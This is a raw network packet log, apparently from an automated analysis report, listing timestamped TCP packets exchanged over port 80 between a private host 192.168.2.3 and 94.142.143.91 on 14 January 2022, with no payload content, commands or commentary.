Jan 14, 2022 04:59:40.628310919 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628330946 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628345966 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628366947 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628385067 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628386974 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628410101 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628432035 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628437042 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628444910 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628451109 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628454924 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628479004 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628500938 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628504038 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628523111 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628544092 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628557920 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628565073 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628585100 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628598928 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628607035 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628628016 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628648996 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628665924 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628670931 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628690004 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628694057 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628715992 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628732920 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628736019 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628756046 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628766060 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628777027 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628796101 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628815889 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628815889 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628837109 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628839016 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628858089 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628876925 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628896952 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628916979 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628920078 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628941059 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628953934 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628961086 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628973007 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628982067 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.629002094 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.629013062 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.629021883 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.629044056 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.629061937 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.629188061 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.629523039 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.629545927 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.629568100 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.629600048 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.672267914 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675237894 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675292015 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675312996 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675333023 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675354004 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675381899 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675398111 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675406933 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675435066 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675435066 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675462961 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675487041 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675487995 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675515890 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675543070 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675565004 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675566912 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675595045 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675620079 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675645113 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675678015 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675702095 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675705910 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675709963 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675715923 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675735950 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675753117 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675761938 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675787926 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675813913 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675841093 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675843954 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675865889 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675885916 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675894022 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675921917 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675946951 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675947905 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675972939 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.675986052 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.675997972 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676023960 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676049948 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676052094 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676073074 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676075935 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676103115 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676126957 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676150084 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676151991 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676170111 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676178932 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676203966 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676229000 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676251888 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676253080 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676279068 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676290989 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676305056 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676330090 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676352978 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676354885 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676383018 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676389933 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676409006 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676429033 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676435947 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676462889 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676486969 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676511049 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676512003 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676538944 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676548958 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676563978 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676582098 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676589966 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676615953 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676640987 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.676666975 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.676687002 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685165882 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685193062 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685237885 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685259104 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685271978 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685280085 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685302019 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685323000 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685331106 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685343981 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685347080 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685365915 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685389042 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685389042 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685410976 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685434103 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685455084 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685473919 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685478926 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685488939 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685503006 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685525894 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685534000 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685548067 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685570955 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685570955 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685595989 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685617924 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685638905 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685657024 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685661077 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685682058 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685688019 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685708046 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685729027 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685729980 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685750961 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685770988 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685775995 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685800076 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685816050 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685825109 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685863972 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685889006 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685892105 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685915947 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685931921 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685937881 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685961008 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.685982943 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.685983896 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686007023 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686019897 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686029911 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686050892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686074972 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686089993 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686099052 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686104059 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686120987 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686139107 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686145067 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686172009 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686193943 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686217070 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686230898 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686238050 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686245918 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686263084 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686279058 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686285973 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686310053 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686330080 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686351061 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686362982 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686376095 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686382055 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686407089 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686429024 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686450005 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686465025 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686469078 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686485052 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686491013 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686513901 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686525106 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686534882 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686556101 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686568975 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686578035 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686600924 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686620951 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686630011 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686645031 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686656952 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686670065 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686692953 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686698914 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686714888 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686738014 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686759949 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686774969 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686784983 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686788082 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686808109 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686830044 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686836004 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686851978 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686872959 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686896086 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686902046 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686918020 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686934948 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686940908 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686964989 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.686975956 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.686989069 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687011957 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687017918 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.687033892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687055111 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687077999 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687091112 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.687098026 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687117100 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687129974 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.687141895 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687155962 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.687161922 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687185049 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687206030 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687206030 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.687228918 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687252045 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.687258005 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.687288046 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.729942083 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.729975939 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.730000973 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.730016947 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.730143070 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733472109 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733500957 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733524084 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733547926 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733571053 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733596087 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733597994 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733608007 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733619928 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733644962 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733669043 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733686924 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733695030 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733700991 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733720064 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733743906 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733750105 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733767033 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733792067 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733817101 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733830929 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733839989 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733843088 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733886957 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733910084 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733913898 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733932972 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733957052 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733963966 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.733983040 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.733999968 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734006882 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734031916 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734056950 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734081030 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734093904 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734105110 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734106064 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734129906 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734153032 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734177113 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734188080 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734200954 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734200954 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734225988 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734249115 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734272003 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734297037 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734297037 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734304905 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734322071 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734334946 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734345913 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734370947 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734399080 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734417915 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734421968 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734447002 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734467983 CET	49848	80	192.168.2.3	94.142.143.91
